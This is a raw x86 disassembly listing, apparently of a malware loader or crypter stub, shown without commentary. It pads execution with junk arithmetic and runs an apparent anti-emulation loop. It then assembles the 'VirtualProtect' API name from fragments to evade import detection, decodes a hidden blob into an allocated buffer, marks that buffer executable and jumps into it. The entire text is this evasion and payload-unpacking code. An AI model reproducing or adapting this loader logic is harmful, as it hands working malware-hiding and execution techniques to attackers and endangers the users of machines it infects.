mov eax, 0x3c1ebc89
mul dword [esp + 0x1c4]
mov eax, dword [esp + 0x1c4]
add dword [esp + 0x104], 0x6eef12aa
sub dword [esp + 0x14], 0x74662cda
sub dword [esp + 0x1c8], 0x3368f61d
add dword [esp + 0x110], 0x50d9a142
mov eax, 0x79d592b7
mul dword [esp + 0x1cc]
mov eax, dword [esp + 0x1cc]
mov eax, 0x22b7f409
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
add dword [esp + 0x54], 0x76468a35
sub dword [esp + 0x108], 0x537f1d20
sub dword [esp + 0x24], 0x2268b4db
add dword [esp + 0x1d0], 0x71eb2df2
sub dword [esp + 0x1d4], 0x1f2eb8c9
add dword [esp + 0x1d8], 0x3be5728f
mov eax, 0x84c9ce2
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
mov eax, 0x27fe6ac1
mul dword [esp + 0x110]
mov eax, dword [esp + 0x110]
add dword [esp + 0x114], 0x4334e153
sub dword [esp + 0x118], 0x36d7a0c1
add dword [esp + 0x58], 0x4e123411
sub dword [esp + 0x1dc], 0x317fda5e
add dword [esp + 0x11c], 0x70d70873
mov eax, 0x503c5e0d
mul dword [esp + 0xb0]
mov eax, dword [esp + 0xb0]
mov eax, 0x11038763
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x53a13587
mul dword [esp + 0x120]
mov eax, dword [esp + 0x120]
add dword [esp + 0x1e0], 0x43f5321b
sub dword [esp + 0x1e4], 0x28a3663d
mov eax, 0x3d85f5f6
mul dword [esp + 0x124]
mov eax, dword [esp + 0x124]
mov eax, 0x26046110
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0x1e8], 0xa7dbca3
sub dword [esp + 0x1ec], 0x675880f8
add dword [esp + 0x7c], 0x184f73dc
add dword [esp + 0x128], 0x944f869
sub dword [esp + 0x12c], 0x3dc673e6
add dword [esp + 0x1f0], 0x74b5b744
add dword [esp + 0x58], 0x1e1c3efc
add dword [esp + 0x80], 0x39286fbb
xor ebx, ebx
mov esi, ebx
lea eax, [esp + 0x2f4]
push eax
lea eax, [esp + 0x2fc]
push eax
lea eax, [esp + 0x1fc]
push eax
lea eax, [esp + 0x308]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0x350]
push eax
push ebx
call edi
cmp esi, 0x7b379
jle 0x402a45
cmp dword [esp + 0x1f4], 0x1cecd011
je 0x402a45
cmp dword [esp + 0x370], 0x1d47b417
jne 0x402a52
add esi, 2
cmp esi, 0x23b972
jl 0x4029f1
jmp 0x402a8c
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Virtual
mov esi, 0x41da70
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Protect
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
push dword [0x41e278]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x41de70], eax
mov dword [esp + 0xb4], ebx
mov dword [esp + 0xb4], 0x1dbc8
push 0x1dbc8
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, ebx
mov dword [0x41de74], eax
cmp dword [esp + 0xb4], ebx
jbe 0x402ae6
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
mov ecx, 0x420946
call fcn.00401167
mov ecx, dword [0x41de74]
mov byte [esi + ecx], al
inc esi
cmp esi, dword [esp + 0xb4]
jb 0x402aba
push ecx
lea edx, [esp + 0xb8]
call fcn.00401135
pop ecx
lea eax, [esp + 0x300]
push eax
push 0x40
push dword [esp + 0xbc]
push dword [0x41de74]
call dword [0x41de70]
call fcn.00401160
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitThread]